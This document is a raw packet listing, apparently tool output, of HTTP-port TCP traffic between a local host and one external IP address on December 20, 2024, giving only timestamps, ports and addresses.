Dec 20, 2024 16:53:31.445174932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.446050882 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.446099997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.446305037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.446358919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.447402954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.447438955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.447506905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.447521925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.448467016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.448555946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.449171066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.449512005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.449671030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.449825048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.450619936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.450743914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.451266050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.451787949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.451824903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.451870918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.452909946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.452945948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.453073978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.454255104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.454402924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.454437971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.454936981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.454986095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.455081940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.456312895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.456326008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.456563950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.457093000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.457578897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.457716942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.458404064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.458417892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.459429026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.459443092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.460412979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.460412979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.460427999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.460494995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.460700035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.461400986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.461513996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.461678028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.462955952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.462970972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.463655949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.463670015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.463781118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.463781118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.610966921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.610991001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.611109018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.611350060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.611673117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.612488031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.612498999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.612765074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.612765074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.613629103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.613641977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.614084959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.614545107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.614662886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.615680933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.615745068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.615765095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.616369009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.616698980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.617494106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.617744923 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.617758036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.618556976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.618766069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.618927002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.619362116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.619601965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.620002985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.620016098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.620666027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.621675014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.621689081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.621728897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.622200966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.622214079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.622472048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.623245955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.623404980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.623594999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.624285936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.624298096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.624970913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.625435114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.625447989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.625716925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.626660109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.626672983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.626934052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.627583027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.628560066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.628572941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.628828049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.629141092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.629391909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.630014896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.630192041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.630325079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.630920887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.631480932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.631908894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.632174015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.632293940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.633574963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.633586884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.633747101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.634134054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.634145021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.634550095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.635296106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.635308981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.636295080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.636308908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.636753082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.636754036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.637579918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.637593031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.637805939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.638473988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.638484955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.638897896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.639853954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.639867067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.640768051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.640784025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.640836000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.640836000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.641680956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.641695023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.642601013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.642899036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.642920017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.643336058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.643925905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.643939972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.644984961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.644998074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.645241976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.645241976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.646305084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.647059917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.647072077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.647222042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.647247076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.647381067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.648215055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.648236990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.648534060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.649315119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.649619102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.649681091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.650386095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.650696039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.650938988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.651633024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.651645899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.651892900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.652610064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.653543949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.653760910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.653773069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.654612064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.654839039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.655056000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.655344009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.655534029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.656292915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.656411886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.656558037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.656804085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.657835007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.658050060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.658062935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.659245968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.659261942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.660232067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.660248995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.660854101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.660854101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.660855055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.661406994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.661421061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.662328959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.662343025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.663491964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.663506031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.664364100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.664364100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.664364100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.664369106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.665004969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.665075064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.665436983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.665764093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.666563034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.666579962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.666744947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.666870117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.668836117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.719459057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.806015015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.806097031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.806179047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.806355953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.807111025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.807188988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.807548046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.807646990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.807892084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.808592081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.808712959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.809267998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.809676886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.810101032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.810173035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.810960054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.811038017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.811115980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.811835051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.812108994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.812170982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.812901974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.813225985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.813468933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.813966990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.814166069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.814846992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.814955950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.815089941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.816164970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.816409111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.817097902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.817236900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.817274094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.817312956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.817331076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.818236113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.819094896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.819365025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.820033073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.820099115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.820466042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.820579052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.821146011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.821561098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.821788073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.821866989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.822607994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.823091030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.823185921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.823724031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.824318886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.824561119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.824815035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.824872971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.824970007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.825815916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.827052116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.827088118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.827116966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.827243090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.827323914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.827991962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.829139948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.829179049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.829221964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.829416037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.829632044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.830157995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.830359936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.830492020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.831394911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.832478046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.832515955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.832602978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.833683968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.833719969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.834995985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.835005045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.837198973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:31.839157104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.839199066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:31.842609882 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.302068949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.302213907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.593270063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.713066101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.713253975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.713525057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.713656902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.713870049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.713933945 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.714636087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.714865923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.714987040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.715672016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.715992928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.716069937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.716069937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.717117071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.717263937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.717271090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.718162060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.718267918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.718274117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.719275951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.719361067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.719542027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.720299959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.720441103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.720854998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.721337080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.721486092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.721535921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.722728968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.722781897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.723268986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.723666906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.723714113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.723805904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.724637032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.724685907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.724769115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.725980997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.726114035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.726200104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.726785898 CET	80	49739	185.215.113.16	192.168.2.5
